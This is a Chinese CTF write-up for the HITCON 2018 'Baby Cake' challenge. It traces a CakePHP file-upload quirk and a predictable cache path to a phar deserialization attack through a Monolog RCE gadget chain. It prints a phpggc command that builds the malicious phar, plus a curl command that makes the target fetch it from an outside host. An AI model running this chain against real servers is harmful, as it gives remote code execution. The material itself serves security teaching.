前言
本篇文章,将以 HITCON2018
中的 Baby Cake
为例,继续练习 PHP POP链
寻找,题目 docker
环境地址:https://github.com/Tiaonmmn/hitcon_2018_babycake 。题目所使用的框架为 Cake PHP
,具体可以参考:https://book.cakephp.org。
漏洞点发掘
题目界面如下:我们先来看整个应用的 web
路由。通过查看 config/routes.php
文件,我们可以发现其入口点是 PagesController
类中的 display
方法.。(下图 第13行
)我们跟进 display
方法,发现 $url
只能以 http、https
开头,请求方法支持 get、post、put、delete、patch
五种。然后会先判断缓存中是否存在相关页面内容及请求头(上图 第22行
),如果存在,则直接用 file_get_contents
从缓存中获取,其中请求头的内容还会反序列化一次,这里我们先暂且记下。缓存文件的路径是可以预测的,这对我们之后的攻击十分有利。(下图 第21行
)4如果缓存文件不存在的话,就会先调用 PagesController
类的 httpclient
方法生成一个 Client
类,通过 Client
类生成响应数据,然后再将响应数据通过 PagesController
类的 cache_set
方法分别写入 body.cache
和 headers.cache
文件。其具体代码如下:我们再来看这个响应数据是如何生成的,其调用了 Client
类的 get
方法(对应上图代码 第25行
。当然,这是在发起 GET
请求的基础上)。我们跟进 _doRequest
方法,发现其调用了 _createRequest
方法,而 _createRequest
方法中实例了一个 Request
对象,该对象在创建时,又会调用 body
方法,我们继续跟进该方法。如果我们传入的数据是数组类型的话, body
方法就会调用 FormData
类的 addMany
方法,然后 addMany
方法再调用 add
方法。而这个 add
方法我们需要注意一下,这是一个弃用功能,然而程序运行到这里时,并没有直接退出,还是继续调用 addFile
方法。他会把以 @
符号开头的字符串当做被上传文件的路径,并调用 addFile
方法进行上传,其功能类似 curl
命令上传文件行为,具体代码如下:我们看到 addFile
方法里面用到了 file_get_contents
函数获取内容,而且参数 $value
是我们可控的。那么我们便可结合前面的缓存功能,将构造的 phar
文件存入缓存文件中,由于缓存文件路径可知,我们便可通过 phar反序列化
进行攻击。
POP链构造
找到利用点之后,我们再来寻找 POP链
,先来看看题目中用到的组件。我们发现题目用到了 monolog
组件版本为 1.23
,然而这个版本的 monolog
却存在 RCE
,我们可以通过 phpggc
来了解一下。其反序列化触发 RCE
时,类方法调用过程如下:
完成攻击
理清上面整个 POP链
后,我们可以直接用 phpggc
生成攻击用的 phar
文件,命令如下:
./phpggc -p phar -o /var/www/html/demo.phar Monolog/RCE1 system id
生成恶意 phar
文件后,我们先将该文件存入 Web
应用的缓存中:
curl http://题目IP/?url=http://xx.xx.xx.xx/demo.phar
然后根据代码计算出缓存文件存放路径,最后再发起一个 POST
请求,完成 phar反序列化
。